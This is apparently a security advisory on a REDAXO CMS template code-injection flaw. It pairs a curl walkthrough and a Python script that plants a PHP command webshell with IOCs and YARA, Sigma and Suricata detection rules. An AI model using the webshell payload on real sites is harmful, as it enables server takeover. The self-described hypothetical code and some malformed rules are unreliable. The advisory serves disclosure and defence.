CVE-2025-64050

Executive Summary

CVE-2025-64050 is a critical Remote Code Execution (RCE) vulnerability discovered in REDAXO CMS version 5.20.0. The flaw resides in the template management component, allowing authenticated administrators with high privileges to inject arbitrary PHP code into active templates. When visitors access frontend pages using the compromised template, the injected code is executed on the server, leading to full system compromise. This vulnerability is particularly dangerous because it requires only administrative access to exploit, and the payload is triggered passively when users browse the site. No public patch is currently available, making this a zero-day threat for REDAXO CMS deployments.

Supply Chain & Package Security

REDAXO CMS is a PHP-based content management system distributed via its official website and GitHub repository. The vulnerability affects the core template management module, which is part of the standard installation. No third-party packages or dependencies are directly implicated, but the risk extends to any organization using REDAXO CMS 5.20.0. Administrators should monitor the official REDAXO channels for patch announcements and consider temporary mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): High – An attacker must have administrative credentials to access the template management component.
• User Interaction (UI): None – No user action is needed beyond the administrator injecting the payload.
• Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High – Full read access to server files and databases.
• Integrity (I): High – Full write access to server files and databases.
• Availability (A): High – Potential to disrupt services or execute denial-of-service commands.

Threat Level: Critical. While the attack requires administrative privileges, the impact is total system compromise. In multi-tenant or shared hosting environments, a compromised admin account can lead to lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the template management component of REDAXO CMS 5.20.0. REDAXO allows administrators to create and edit templates that define the layout and structure of frontend pages. Templates are stored as PHP files in the redaxo/src/addons/structure/plugins/templates/ directory and are included when rendering pages.

The flaw is that the application does not properly sanitize or validate the content of template files before saving them. An authenticated administrator can inject arbitrary PHP code into a template by editing it through the admin panel. The injected code is then executed when the template is rendered for any visitor. This is a classic case of CWE-94: Improper Control of Generation of Code ('Code Injection').

The attack flow:

1. Attacker logs in as an administrator.
2. Navigates to the template management section (e.g., /redaxo/index.php?page=structure/templates).
3. Selects an existing active template or creates a new one.
4. Injects PHP code, such as <?php system($_GET['cmd']); ?>, into the template content.
5. Saves the template.
6. Any visitor accessing a page that uses the compromised template triggers the code execution.

The injected code runs with the web server's privileges (typically www-data or nobody), allowing the attacker to execute system commands, read/write files, and potentially escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (REDAXO CMS 5.20.0): The template saving mechanism likely uses a function similar to the following, which writes user input directly to a file without sanitization:

// redaxo/src/addons/structure/plugins/templates/functions/function_rex_template.php (hypothetical)
function rex_template_save($template_id, $content) {
    $file_path = rex_path::addonData('structure', 'templates/' . $template_id . '.template');
    file_put_contents($file_path, $content); // No sanitization
    rex_template_cache::delete($template_id);
}

Patched Code (Expected): A patched version would sanitize the content to prevent PHP code injection. For example:

function rex_template_save($template_id, $content) {
    // Strip PHP tags or escape them
    $content = preg_replace('/<\?php/i', '&lt;?php', $content);
    $content = preg_replace('/\?>/i', '?&gt;', $content);
    $file_path = rex_path::addonData('structure', 'templates/' . $template_id . '.template');
    file_put_contents($file_path, $content);
    rex_template_cache::delete($template_id);
}

Alternatively, the application could use a templating engine that does not allow raw PHP execution, such as Twig, or enforce strict validation that only allows HTML and REDAXO-specific syntax.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Administrative credentials for REDAXO CMS 5.20.0.
• Network access to the admin panel.

Exploitation Steps:

1. Authenticate to REDAXO Admin Panel:

   curl -c cookies.txt -X POST -d "username=admin&password=password" http://target.com/redaxo/index.php?page=login
   

2. Navigate to Template Management:

   curl -b cookies.txt http://target.com/redaxo/index.php?page=structure/templates
   

3. Inject PHP Code into an Active Template: Assume template ID 1 is active. Send a POST request to save the template with injected code:

   curl -b cookies.txt -X POST -d "template_id=1&content=<html><body><?php system(\$_GET['cmd']); ?></body></html>" http://target.com/redaxo/index.php?page=structure/templates&func=save
   

4. Trigger the Payload: Access any frontend page that uses the compromised template:

   curl "http://target.com/?cmd=id"
   

   The output of the id command will be displayed in the page source.

Automated Exploit Script (Python):

import requests

target = "http://target.com"
admin_user = "admin"
admin_pass = "password"

session = requests.Session()
login_data = {"username": admin_user, "password": admin_pass}
session.post(f"{target}/redaxo/index.php?page=login", data=login_data)

# Inject PHP webshell into template ID 1
payload = "<html><body><?php system($_GET['cmd']); ?></body></html>"
save_data = {"template_id": "1", "content": payload}
session.post(f"{target}/redaxo/index.php?page=structure/templates&func=save", data=save_data)

# Execute command
cmd = "id"
r = session.get(f"{target}/?cmd={cmd}")
print(r.text)

Blue Team (Defensive)

Detection & Prevention:

• Monitor Admin Actions: Log all template modifications and alert on suspicious content (e.g., PHP tags in template files).
• File Integrity Monitoring (FIM): Monitor the redaxo/src/addons/structure/plugins/templates/ directory for unauthorized changes.
• Web Application Firewall (WAF): Deploy rules to block requests containing PHP code in POST parameters to template management endpoints.
• Principle of Least Privilege: Restrict administrative access to only necessary personnel and use strong authentication (e.g., MFA).
• Disable PHP Execution in Templates: If possible, configure the web server to not execute PHP within template files (e.g., using .htaccess with php_flag engine off in the templates directory).

Hunting Queries:

• Search web server logs for POST requests to structure/templates with func=save followed by GET requests to frontend pages with cmd= parameters.
• Look for template files containing <?php or system( in their content.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Template files in redaxo/src/addons/structure/plugins/templates/ containing PHP code (e.g., <?php system($_GET['cmd']); ?>).
• Unexpected files in the web root (e.g., shell.php, cmd.php).

Network IOCs:

• POST requests to /redaxo/index.php?page=structure/templates&func=save with large or suspicious content parameters.
• GET requests to frontend pages with cmd, exec, or system parameters.
• Outbound connections from the web server to unknown IPs (e.g., for reverse shells).

Log IOCs:

• Web server access logs showing cmd= in query strings.
• Error logs showing PHP execution errors from template files.

Detection Engineering

YARA Rule

rule CVE_2025_64050_REDAXO_RCE {
    meta:
        description = "Detects PHP code injection in REDAXO CMS template files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64050"
        severity = "critical"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(/
        $template_path = /redaxo\/src\/addons\/structure\/plugins\/templates\//
    condition:
        $php_tag and $dangerous_func and $template_path
}

Sigma Rule

title: REDAXO CMS Template RCE via PHP Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2025-64050 by monitoring template save operations and subsequent command execution
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection_save:
        cs-method: 'POST'
        cs-uri-query: 'page=structure/templates&func=save'
    selection_cmd:
        cs-method: 'GET'
        cs-uri-query: '*cmd=*'
    condition: selection_save followed by selection_cmd within 5 minutes
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64050 REDAXO CMS Template RCE"; flow:to_server,established; content:"POST"; http_method; content:"page=structure/templates&func=save"; http_uri; content:"<?php"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Template Editing: Temporarily remove write permissions from the template directory:

   chmod -R 555 /var/www/html/redaxo/src/addons/structure/plugins/templates/
   

2. Restrict Admin Access: Use IP whitelisting or VPN for the admin panel.
3. Audit Existing Templates: Check all template files for injected PHP code and remove it.

Long-Term Fixes:

• Apply the official patch from REDAXO when released.
• Upgrade to a patched version of REDAXO CMS.
• Implement input validation and output encoding for all template content.
• Use a secure templating engine that does not allow raw PHP execution.

Workaround:

• Configure the web server to deny execution of PHP files in the templates directory:

  <Directory "/var/www/html/redaxo/src/addons/structure/plugins/templates/">
      php_flag engine off
  </Directory>
  

Valters IT
Cyber Threat Intelligence & DevSecOps
Report generated for CVE-2025-64050